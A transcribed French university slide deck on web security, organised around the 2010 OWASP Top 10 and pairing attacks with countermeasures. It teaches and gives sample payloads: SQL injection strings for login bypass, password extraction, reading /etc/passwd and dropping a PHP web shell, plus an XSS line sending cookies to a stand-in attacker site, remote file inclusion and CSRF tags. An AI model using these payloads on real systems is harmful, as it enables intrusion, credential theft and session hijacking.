Cours Secu Web

60
SÉCURITÉ WEB (introduction) cedric.foll@(laposte.net|education.gouv.fr) http://cedric.foll.name / Sous licence « creative common » Paternité, Partage des Conditions Initiales à l'Identique http://creativecommons.org/licenses/by-sa/2.0/fr/ 1 mercredi 13 janvier 2010

description

Présentation sur la sécurité et les vulnérabilités web sous licence Creative Common. Cours donné à l'INSA de Rouen par Cedric Foll

Transcript of Cours Secu Web

Page 2: Cours Secu Web

PLAN

Les principales vulnérabilités et attaques associées

Scénario d’attaque

De la faille web à la prise en main du serveur (ou du client)

2

mercredi 13 janvier 2010

Page 3: Cours Secu Web

Top 10 2010 de l’OWASP (Open Web Application Security Project) :

A1 InjectionA2 Cross Site Scripting (XSS)A3 Broken Authentication and Session ManagementA4 Insecure Direct Object Reference

A5 Cross Site Request Forgery (CSRF)

A6 Security Misconfiguration

A7 Failure to Restrict URL Access

A8 Unvalidated Redirects and Forwards

A9 Insecure Cryptographic Storage

A10 Insufficient Transport Layer Protection

VULNÉRABILITÉS

3

mercredi 13 janvier 2010

Page 4: Cours Secu Web

A1INJECTION

FLAWAttaque

Impact

Contre mesure

4

mercredi 13 janvier 2010

Page 5: Cours Secu Web

INJECTION FLAWS : PRINCIPE DE L’ATTAQUE

Injection Flaw :

Injection de code qui sera exécuté par le « serveur »

Le code est en général du SQL, mais aussi possible avec d’autres langages de requête (ldap, XPatch, ...) ou encore du code interprété (fonction de type « eval », « system » et consorts...).

Probablement le moyen le plus simple pour prendre le contrôle d’un serveur.

Nous n’abordons ici que les SQL Injection en prenant comme exemple PHP/Mysql.

5

mercredi 13 janvier 2010

Page 6: Cours Secu Web

ATTAQUES « SIMPLES »6

mercredi 13 janvier 2010

Page 7: Cours Secu Web

SQL INJECTION : PRINCIPE DE L’ATTAQUE

L'attaquant envoie au site par différents champs (formulaire GET, POST, Cookies, User-Agent, ...) du code SQL qui sera exécuté par le serveur.

Le serveur utilise les données envoyées par l'utilisateur pour construire une requête SQL.

Impact sur l’application web

Contournement du processus d'authentification.

Récupération (ou altération) de données dans la base.

Récupération (ou dépôt) de fichier.

Exécution de code arbitraire.

7

mercredi 13 janvier 2010

Page 8: Cours Secu Web

SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION

8

mercredi 13 janvier 2010

Page 9: Cours Secu Web

SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION

Requête SQL construite :

select * from user where user = '$user' and passwd='$passwd'

Paramètres envoyés par le pirate

$user = 'or 1=1#

$passwd = toto

Ce qui va être envoyé vers le serveur SQL

select * from user where user = '' or 1=1# ' and passwd='toto'

9

mercredi 13 janvier 2010

Page 10: Cours Secu Web

SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION

Conséquences

La requête SQL va renvoyer des résultats et donc le test suivant va aboutir :

if(mysql_num_rows($results) != 0)

Le pirate est authentifié !

Que faire si le test avait été ?

if(mysql_num_rows($results) == 1)

Le pirate peut utiliser la commande SQL limit :

limit nombre d’éléments offset indice

select * from user where user = '' or 1=1 limit 1 offset 0 -> renvoie le premier élément (indice 0) de la table.

10

mercredi 13 janvier 2010

Page 11: Cours Secu Web

SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION

Envoyer des caractères spéciaux dans les champs des formulaires et voir si des erreurs sont générées.

caractères à essayer : ' (quote), '' (double quote), (, ), #, --, ;

Exemple d'erreur pouvant apparaître :

11

mercredi 13 janvier 2010

Page 12: Cours Secu Web

SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION

En générale faire un ' or 1=1# ne suffit pas :

La requête SQL peut être plus complexe (usage de parenthèses par exemple):

select * from user where (login='$login' and passwd='$passwd')

On injecte :

login = ' or 1=1)#

12

mercredi 13 janvier 2010

Page 13: Cours Secu Web

SQL INJECTIONCONTOURNEMENT D’IDENTIFICATION

Les messages d'erreur peuvent aider à construire l'attaque :

Error in query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'toto')' at line 1

Les messages d'erreur ci dessus montrent qu'il y a une parenthèse à fermer pour construire la réponse.

13

mercredi 13 janvier 2010

Page 14: Cours Secu Web

LA CONTRE-MESURE (HASARDEUSE) EN PHP

magic_quote_gpc = On

Ce réglage remplace toutes les « quote » par « antislash quote » dans tout ce qu'envoie l'utilisateur (GET, POST, COOKIES).

Impossibilité de contourner les processus d'authentification par SQL injection !

« This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged. » (http://php.net/manual/en/security.magicquotes.php)

14

mercredi 13 janvier 2010

Page 15: Cours Secu Web

ATTAQUES « COMPLEXES »

15

mercredi 13 janvier 2010

Page 16: Cours Secu Web

SQL INJECTIONRÉCUPÉRATION DE DONNÉES

Si le développeur utilise gpc_magic_quotes (ou s’il filtre les « quote » dans les entrées utilisateurs) ?

Si contourner l’authentification ne vous suffit pas (parce que ce qui vous intéresse est de dumper la table) ?

Les solutions :

UNION query (inband) SQL Injection

Blind SQL Injection

Full blind SQL injection (ou time based SQL Injection)16

mercredi 13 janvier 2010

Page 17: Cours Secu Web

UNION QUERY (INBAND) SQL INJECTION

Considérons le code suivant dont le résultat est ensuite affiché par le serveur d’application :

select texte from commentaire where id=$id

Avec MySQL (et la plupart des bases de données), les comparaisons sur les nombres se font sans « quote ».

Il est également possible d’utiliser des chaines sans « quote » en les écrivant en hexadécimal (0x414243 = ‘ABC’).

Pour exploiter cette faille, il est possible d’envoyer ceci :

id = 3141 union select login from utilisateurs limit 1 offset 0

Si dans la table « commentaire », il n’y a pas d’entrée avec comme id « 3141 », la commande renverra le premier « login » de la table « utilisateurs ».

17

mercredi 13 janvier 2010

Page 18: Cours Secu Web

ATTAQUE

Il faut à gauche et à droite de l’UNION avoir le même nombre de champs (1 champ dans notre exemple).

Assez simple à gérer, il suffit d’utiliser la commande «order by» pour déterminer, par tâtonnement, le nombre d’éléments dans la requête:

id = 3141 order by 6 #

Puis lorsque l’on a trouvé le nombre maximum ne générant pas d’erreurs:

id = 3141 union select 1,2,3,4,5,6 #

Présences de parenthèses...

Par tâtonnement en s’appuyant, le cas échéant, sur les messages d’erreur.

18

mercredi 13 janvier 2010

Page 19: Cours Secu Web

ATTAQUE

Certaines bases (telles que PostgreSQL mais pas MySQL) attendent le même type de données à gauche et à droite du UNION.

Il existe des fonctions de type CAST pour s’en sortir.

Il faut connaître des tables et des colonnes à récupérer.

Facile si on possède les sources de l'application.

Sinon cela dépend de la base de données et de sa version :

À partir de MySQL 5.0 la base « information_schema » contient les META données.

Sinon par « bruteforce » avec des chances de succès très aléatoire.

19

mercredi 13 janvier 2010

Page 20: Cours Secu Web

ATTAQUE

Il est aussi possible d’utiliser la commande concat (MySQL) pour aller plus vite :

id = 3141 union select concat(login,111,password) from utilisateurs limit 1 offset 0

20

mercredi 13 janvier 2010

Page 21: Cours Secu Web

BLIND SQL INJECTION

Que faire si l’on arrive à injecter du code, mais que le serveur

d’application n’affiche pas le résultat ?

C’est le cas, notamment, dans les processus d’authentification.

On est juste capable de savoir si la commande renvoie vrai ou faux.

Dans la pratique, c’est quelque chose qui arrive relativement souvent (et pas seulement dans les requêtes liées à une identification).

21

mercredi 13 janvier 2010

Page 22: Cours Secu Web

ATTAQUE

Considérons le code suivant utilisé pour afficher le nombre de clients ayant réalisé plus de « nb » achats.

select COUNT(*) from client where achats >= $nb

Injections :

nb = 3141 or 1=1 # affiche le nombre total de clients

dans la base

nb = 0 and 1=0 # affiche 0

22

mercredi 13 janvier 2010

Page 23: Cours Secu Web

ATTAQUE

Récupération du contenu de la variable @@version

Récupération octet par octet par dichotomie :

nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 128

Si vrai :

nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 192

Sinon :

nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 64

...

Puis (passage au second octet) :

nb = 0 and ascii(SUBSTRING(@@version,2,1)) >= 128

23

mercredi 13 janvier 2010

Page 24: Cours Secu Web

ATTAQUE

Cela peut sembler compliqué et long

Mais c’est facilement scriptable et marche souvent très bien.

Il faut cibler les données à récupérer (par exemple login/mots de passe).

24

mercredi 13 janvier 2010

Page 25: Cours Secu Web

FULL BLIND SQL INJECTION

Que faire si l’on arrive à injecter du code, mais même pas à savoir s’il

renvoie vrai ou faux ?

Il reste un (maigre) espoir, la commande sleep (MySQL >= 5.0.12) et les exécutions conditionnelles (IF sous MySQL).

IF(1=1,foo,bar) -> renvoie foo

L’attaque devient :

nb = 3141 or IF(ascii(SUBSTRING(@@version,1,1)) >= 128,sleep(5),1)

Si le serveur attend 5 secondes c’est que le test a réussi...

25

mercredi 13 janvier 2010

Page 26: Cours Secu Web

ATTAQUE

Cela peut sembler compliqué et long

C’est exact !

Il faut très précisément cibler les données à récupérer (par exemple, le mot de passe MySQL « root »).

26

mercredi 13 janvier 2010

Page 27: Cours Secu Web

SQL INJECTIONWHAT ELSE ?

De même qu’il est possible de lire des données il est possible d’en ajouter (INSERT), supprimer (DELETE), modifier (UPDATE).

La plupart des bases de données, dont MySQL, permettent de lire et d’écrire des fichiers :

SELECT LOAD_FILE('/etc/passwd')

SELECT ‘<?php exec($cmd,$res);echo $res;?>’ INTO dumpfile '/var/www/shell.php’

Il est même possible, avec certaines bases de données (mais pas MySQL), d'exécuter directement des commandes systèmes.

27

mercredi 13 janvier 2010

Page 28: Cours Secu Web

EN BREF

Point d’entrée très efficace pour compromettre un site web.

A minima permet un dump des tables accessibles jusqu’à devenir «administrateur» des applications web:

Permet assez souvent de déposer du code (ajout de fichiers, plugin, ...)

Mais aussi (avec de la chance) :

Exécution de commandes systèmes.

Ou possibilité de déposer un shell php.

28

mercredi 13 janvier 2010

Page 29: Cours Secu Web

EN BREF

Pour les attaques manuelles :

Paros (http://www.parosproxy.org), Burb (http://portswigger.net/)

Les cheat sheets (http://pentestmonkey.net/cheat-sheets/)

Pour MySQL, PostgreSQL, Oracle, DB2, Informix, MSSQL, Ingres SQL liste les meta tables, la manière d’obtenir la nième ligne, le nième octet, de lire/écrire un fichier...

Un excellent outil d’attaque « automatique »

sqlmap (http://sqlmap.sourceforge.net)

29

mercredi 13 janvier 2010

Page 30: Cours Secu Web

CONTRE MESURES

Granularité des privilèges

Une application de type livre d’or ne doit pas être MySQL root sur la base de données !

Filtrages des données envoyées par l’utilisateur

Quand c’est un nombre on le vérifie

Quand c’est une chaine, on utilise avec PHP mysql_real_escape_string

Utilisation de « Prepared Statements »30

mercredi 13 janvier 2010

Page 31: Cours Secu Web

HTTP://XKCD.COM/327/31

mercredi 13 janvier 2010

Page 32: Cours Secu Web

A2XSS

Attaque

Impact

Contre mesures

32

mercredi 13 janvier 2010

Page 33: Cours Secu Web

XSS : PRINCIPE DE L’ATTAQUE

Le principe des attaques XSS est d’injecter et de faire exécuter un code arbitraire (en général du JavaScript) navigateur Web.

Types d’attaque :

XSS persistant : le pirate piège une page en déposant un code sur la page d’un site

Dépôt de code hostile sur un forum, email malicieux lu sur un webmail

XSS volatile : le pirate crée un lien qui, lorsqu’il sera visité, conduira à l’exécution du code

http://site.fr/index.php?display=<script>alert(document.cookie)</script>

33

mercredi 13 janvier 2010

Page 34: Cours Secu Web

XSS : IMPACT

Historiquement (ie début des années 2000) :

Vol des sessions utilisateurs (cookie de session envoyé sur la page du pirate)

http://site.fr/index.php?display=<script>document.location='http://www.site-pirate.com/steal.php? '%20+document.cookie</script>

Phishing

Insertion d’une fausse page d'authentification via un « iframe »

34

mercredi 13 janvier 2010

Page 35: Cours Secu Web

XSS : IMPACT

L’impact explose avec la montée en puissance du Web 2.0 et d’Ajax

« We're entering a time when XSS has become the new Buffer Overflow and Javascript Malware is the new shellcode » (Jeremiah Grossman, Whitehat Security)

Quelques exemples :

Redirige le navigateur vers une page contenant des exploits pour prendre le contrôle de la machine de la victime.

Scanner de ports (ie comme nmap) sur le LAN où se trouve le navigateur de la victime.

Attaquer les sites web du réseau interne à la recherche de XSS et SQL Injection («proof of concept» Jikto)

Trouver le hash NTLM (mot de passe Windows) du poste sur lequel tourne le navigateur (http://code.google.com/p/squirtle/)

...

Et envoyer les résultats de tout ceci au pirate...

35

mercredi 13 janvier 2010

Page 36: Cours Secu Web

XSS : IMPACT

Et les réseaux sociaux ?

Possibilité d’écrire des « worms » XSS

Samy Worm touche MySpace en 2007

Un utilisateur visitant un profil infecté (ie code JavaScript de réplication) provoque l’infection de son propre profil.

1.000.000 de profils infectés en 20 heures.

D’autres exemples depuis sur orkut, facebook, twitter, ...

36

mercredi 13 janvier 2010

Page 37: Cours Secu Web

XSS : EN BREF

Permet la prise de contrôle totale du navigateur

37

mercredi 13 janvier 2010

Page 38: Cours Secu Web

CONTRE MESURE

Filtrer les entrées utilisateurs

Mais surtout : réencoder, au moment de l’affichage, tout ce qui vient de l’utilisateur.

Par exemple en PHP, utilisation de htmlentities()

38

mercredi 13 janvier 2010

Page 39: Cours Secu Web

POUR ALLER PLUS LOIN

Présentation de Pierre Gardenat à la SSTIC 2009 :

<script>alert('XSS')</script> XSS - de la brise à l'ouragan

voir http://actes.sstic.org/SSTIC09/

39

mercredi 13 janvier 2010

Page 40: Cours Secu Web

MALICIOUS FILE

EXECUTIONCette attaque était A3 en 2007

selon l’OWASP, supprimée en 2010.

Attaque

Impact

Contre mesures

40

mercredi 13 janvier 2010

Page 41: Cours Secu Web

MALICIOUS FILE EXECUTION

Faire exécuter au serveur un fichier malveillant

Typiquement un PHP Shell (c99.php, r57.php...), un « payload » metasploit ou sqlmap en PHP, ASP, JSP...

Comment le déposer ?

Accès en écriture sur le serveur (FTP, SSH, HTTP PUT, WebDav...)

Application permettant le dépôt de fichier et qui ne vérifie pas (ou mal) qu’il ne s’agit pas de code.

...

41

mercredi 13 janvier 2010

Page 42: Cours Secu Web

MALICIOUS FILE EXECUTION

Particularité de PHP

include(« $file ») fonctionne avec $file contenant une URL... (de même que toutes les fonctions relatives à l’ouverture d’un fichier).

Source d’un très grand nombre de failles PHP

Le pirate réussit à écraser le contenu de la variable et l'initialise à « http://pirate.com/c99.gif »

Désactivable via allow_url_fopen = Off dans php.ini.42

mercredi 13 janvier 2010

Page 43: Cours Secu Web

EXEMPLE DE CODE VULNÉRABLE

43

mercredi 13 janvier 2010

Page 44: Cours Secu Web

44

mercredi 13 janvier 2010

Page 45: Cours Secu Web

IMPACT & CONTRE MESURES

Impact

Prise en main du système

Contre mesure

Désactiver allow_url_fopen.

Interdire, si possible, l'exécution de commandes (exec, system, ...) dans les pages web.

Durcissement de la configuration système.45

mercredi 13 janvier 2010

Page 46: Cours Secu Web

A3BROKEN

AUTHENTICATION AND SESSION

MANAGEMENT

46

mercredi 13 janvier 2010

Page 47: Cours Secu Web

HTTP est un protocole sans états :

Par conséquent, la gestion des états est du ressort du code applicatif (cookies, GET, POST...)

Le suivi de l’utilisateur se fait via des « SESSION ID » et les caractéristiques de l’utilisateur doivent être stockées du côté du serveur via des « variables de session ».

RAPPELS SUR HTTP

47

mercredi 13 janvier 2010

Page 48: Cours Secu Web

SESSION ID

Les SESSION ID doivent être aléatoires et ne pas pouvoir être devinées par un pirate :

Elles ne doivent pas transiter en claire.

Éviter de les faire transiter via GET (ie dans l’URL) car alors les SESSION ID sont stockés en claire dans les logs...

Elles doivent s’appuyer sur des mécanismes de générateurs aléatoires robustes :

Par exemple, pas un MD5 de la date de connexion...

Elles doivent avoir un degré d’entropie important pour éviter les attaques par force brute.

Autant que possible s’appuyer sur le mécanisme proposé par le serveur d’application utilisé.

48

mercredi 13 janvier 2010

Page 49: Cours Secu Web

VARIABLES DE SESSIONS

Tout ce qui caractérise l’utilisateur doit être géré par des variables de sessions

Ne pas utiliser de champs « hiddens » pour ceci !

HTTP est un protocole sans états, par conséquent on ne peut pas vérifier de quelle page il vient ni s’il a modifié des variables cachées.

49

mercredi 13 janvier 2010

Page 50: Cours Secu Web

ATTAQUE

Deviner le numéro de session d’un utilisateur et récupérer ses privilèges.

Modifier le contenu d’un champ caché utilisé comme variable de sessions (par un programmeur incompétent :))

Par exemple sur un site marchand, le prix des achats est géré par une variable cachée...

50

mercredi 13 janvier 2010

Page 51: Cours Secu Web

A4INSECURE

DIRECT OBJECT REFERENCE

51

mercredi 13 janvier 2010

Page 52: Cours Secu Web

INSECURE DIRECT OBJECT REFERENCE

Définition de l’OWASP : « Attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object they aren’t authorized for. »

Par exemple dans une application de gestion de stocks, pour un utilisateur donné, l’application ne propose l’accès qu’aux stocks gérés par l’utilisateur par un menu déroulant :

Pour l’utilisateur A, accès à « view_stock.php?st=(1|3|4) »

Si A essaie « view_stock.php?st=2 » et que ça passe, il y a un problème...

52

mercredi 13 janvier 2010

Page 53: Cours Secu Web

A5CROSS SITE

REQUEST FORGERY (CSRF)

53

mercredi 13 janvier 2010

Page 54: Cours Secu Web

CSRF : PRINCIPE

Conduire l’utilisateur sur un site malveillant.

Sur ce site, conduire son navigateur à réaliser des actions sur un site sur lequel il est authentifié (par exemple en lui faisant charger des images).

Exemple :

Le pirate construit une page qui contient des « images » dont l’URL correspond à l’ajout des articles sur monamazon.com, puis une image qui modifie l’adresse de livraison vers sa propre adresse :

<img src=http://monamazon.com?ajout=iMac27>

<img src=http://monamazon.com?nvl_adr=Cedric Foll rue de Lattre de Tassigny 76130_Mont Saint Aignan>

54

mercredi 13 janvier 2010

Page 55: Cours Secu Web

CSRF : CONTRE MESURES

Utiliser des POST à la place des GET?

L’attaque par chargement d’images ne fonctionne plus, mais le pirate peut très bien utiliser du javascript à la place.

Utilisation de « token »

Sur chaque page, création d’un token aléatoire et temporaire envoyé via un champ « hidden » dont on valide au niveau du serveur la validité sur chaque page...

On valide ainsi que le formulaire envoyé ait été créé dans les quelques dernières minutes.

55

mercredi 13 janvier 2010

Page 56: Cours Secu Web

A9INSECURE

CRYPTOGRAPHIC STORAGE

56

mercredi 13 janvier 2010

Page 57: Cours Secu Web

INSECURE CRYPTOGRAPHIC STORAGE

Quelques règles :

Les mots de passes des utilisateurs doivent, si possible, être stockés sous forme de condensat avec si possible une graine afin de ralentir les attaques par force brute.

Les données sensibles devraient être chiffrées.

57

mercredi 13 janvier 2010

Page 58: Cours Secu Web

A6 SECURITY MISCONFIGURATION

A7 FAILURE TO RESTRICT URL ACCESS

A8 UNVALIDATED REDIRECTS AND

FORWARDS

A10 INSUFFICIENT TRANSPORT LAYER

PROTECTION

58

mercredi 13 janvier 2010

Page 59: Cours Secu Web

Non couvert pendant ce cours.

59

mercredi 13 janvier 2010

Page 60: Cours Secu Web

QUESTIONS?

Remerciements pour les relectures et remarques:

Louis Nyffenegger (ASI2006)

Pierre Gardenat

60

mercredi 13 janvier 2010